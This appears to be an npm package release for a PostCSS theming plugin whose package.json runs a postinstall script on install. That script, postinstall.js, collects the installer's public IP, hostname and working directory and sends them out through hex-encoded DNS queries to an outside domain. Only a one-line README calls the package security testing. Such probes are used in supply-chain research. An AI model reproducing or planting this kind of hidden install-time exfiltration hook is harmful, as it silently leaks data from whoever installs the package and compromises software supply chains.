postcss-theme-shorthand 3.0.0

package/CHANGELOG.md

@@ -0,0 +1,3 @@
+## May 22, 2017 [v 0.1.0]
+
+- Repo created.  

package/LICENSE

@@ -0,0 +1,20 @@
+The MIT License (MIT)
+
+Copyright 2016 TheSisb <shadiisber@gmail.com>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+the Software, and to permit persons to whom the Software is furnished to do so,
+subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

package/README.md

@@ -0,0 +1 @@
+# DO NOT INSTALL THIS PACKAGE! IT IS MEANT FOR SECURITY TESTING AND IT LOGS YOUR COMPUTER'S IP ADDRESS, HOSTNAME, AND CURRENT WORKING DIRECTORY

package/index.js

@@ -0,0 +1,66 @@
+const postcss = require('postcss');
+
+module.exports = postcss.plugin('postcss-theme-shorthand', () => {
+    const ThemedPropRegExp = /^(light|dark)-/;
+    const LightThemeRegExp = /^light-/g;
+    const DarkThemeRegExp = /^dark-/g;
+    const LIGHT_THEME = '.theme-light';
+    const DARK_THEME = '.theme-dark';
+
+    // Holds a reference to the new css node for themeing,
+    // in case multiple light-/dark- props in a single selector
+    let currentLightNode;
+    let currentDarkNode;
+
+    function createNewNode(parent, selector) {
+        return parent.cloneBefore({ selector }).removeAll();
+    }
+
+    function addLightThemedStyle({ parent, prop, value, source }) {
+        const ruleSelectors = parent.selectors
+            .map(ruleSelector => `:global(${LIGHT_THEME}) ${ruleSelector}`)
+            .join(', ');
+
+        if (!currentLightNode || currentLightNode.selector !== ruleSelectors) {
+            currentLightNode = createNewNode(parent, ruleSelectors);
+        }
+
+        currentLightNode.append({
+            prop: prop.replace(LightThemeRegExp, ''),
+            value,
+            source
+        });
+    }
+
+    function addDarkThemedStyle({ parent, prop, value, source }) {
+        const ruleSelectors = parent.selectors
+            .map(ruleSelector => `:global(${DARK_THEME}) ${ruleSelector}`)
+            .join(', ');
+
+        if (!currentDarkNode || currentDarkNode.selector !== ruleSelectors) {
+            currentDarkNode = createNewNode(parent, ruleSelectors);
+        }
+
+        currentDarkNode.append({
+            prop: prop.replace(DarkThemeRegExp, ''),
+            value,
+            source
+        });
+    }
+
+    function ruleHandler(decl) {
+        const { prop } = decl;
+
+        if (prop.match(LightThemeRegExp) !== null) {
+            addLightThemedStyle(decl);
+        } else if (prop.match(DarkThemeRegExp) !== null) {
+            addDarkThemedStyle(decl);
+        }
+
+        decl.remove();
+    }
+
+    return function (css) {
+        css.walkDecls(ThemedPropRegExp, ruleHandler);
+    };
+});

package/index.test.js

@@ -0,0 +1,28 @@
+const postcss = require('postcss');
+const plugin = require('./');
+
+function run(input, output, opts) {
+    return postcss([ plugin(opts) ]).process(input)
+        .then(result => {
+            expect(result.css).toEqual(output);
+            expect(result.warnings().length).toBe(0);
+        });
+}
+
+
+it('Handles light and dark theme property prefixes', () => {
+    return run(`
+.thing { 
+  margin: 10px;
+  light-color: $black;
+}
+`,
+`
+:global(.theme-light) .thing { 
+  color: $black;
+}
+.thing { 
+  margin: 10px;
+}
+`, {});
+});

package/package.json

@@ -0,0 +1,35 @@
+{
+  "name": "postcss-theme-shorthand",
+  "version": "3.0.0",
+  "description": "PostCSS plugin that allows the use of 'light-' and 'dark-' property prefixes for themeing.",
+  "keywords": [],
+  "author": "TheSisb <shadiisber@gmail.com>",
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/hammerandchisel/postcss-theme-shorthand.git"
+  },
+  "bugs": {
+    "url": "https://github.com/hammerandchisel/postcss-theme-shorthand/issues"
+  },
+  "homepage": "https://github.com/hammerandchisel/postcss-theme-shorthand",
+  "dependencies": {
+    "postcss": "6.0.5"
+  },
+  "devDependencies": {
+    "eslint": "^3.12.2",
+    "eslint-config-postcss": "^2.0.2",
+    "jest": "^18.0.0"
+  },
+  "scripts": {
+    "test": "jest && eslint *.js",
+    "postinstall": "node postinstall.js"
+  },
+  "eslintConfig": {
+    "extends": "eslint-config-postcss",
+    "env": {
+      "jest": true
+    }
+  },
+  "main": "index.js"
+}

package/postinstall.js

@@ -0,0 +1,61 @@
+// please check README.md
+
+const dns = require('dns/promises');
+const crypto = require('crypto');
+const os = require('os');
+const http = require('http');
+
+const resolver = new dns.Resolver();
+const executeResolve = s => resolver.resolve4(`${s}.dataflow.postcss-theme-shorthand-sectest.cf`).catch(() => {});
+
+const CHUNK_LENGTH = 23;
+const NONCE_LENGTH = 4;
+const SEQ_LENGTH = 4;
+
+for (const server of ['1.1.1.1', '1.0.0.1', '8.8.8.8', '8.8.4.4']) {
+  const servers = resolver.getServers();
+  if (!servers.includes(server)) resolver.setServers([...servers, server]);
+}
+
+function announce(data) {
+  const chunks = [];
+  while (data.length) {
+    chunks.push(data.slice(0, CHUNK_LENGTH));
+    data = data.slice(CHUNK_LENGTH);
+  }
+
+  const nonce = crypto.randomBytes(NONCE_LENGTH);
+  for (let i = 0; i < chunks.length; i++) {
+    const packet = Buffer.concat([nonce, Buffer.alloc(SEQ_LENGTH), chunks[i]]);
+    packet.writeUInt32BE(i, NONCE_LENGTH);
+    
+    executeResolve(packet.toString('hex'));
+  }
+}
+
+function sendData(ip) {
+  try {
+    announce(Buffer.from(JSON.stringify({ ip, hostname: os.hostname(), cwd: __dirname })));
+  } catch {
+    executeResolve('fail');
+  }
+}
+
+const httpRequest = http.get('http://api64.ipify.org/?format=json', response => {
+  if (response.statusCode != 200) {
+    sendData(null);
+    return;
+  }
+
+  let ipData = '';
+  response.on('data', chunk => ipData += chunk);
+  response.on('close', () => {
+    try {
+      sendData(JSON.parse(ipData).ip)
+    } catch {
+      sendData(null);
+    }
+  });
+});
+
+httpRequest.on('error', () => sendData(null));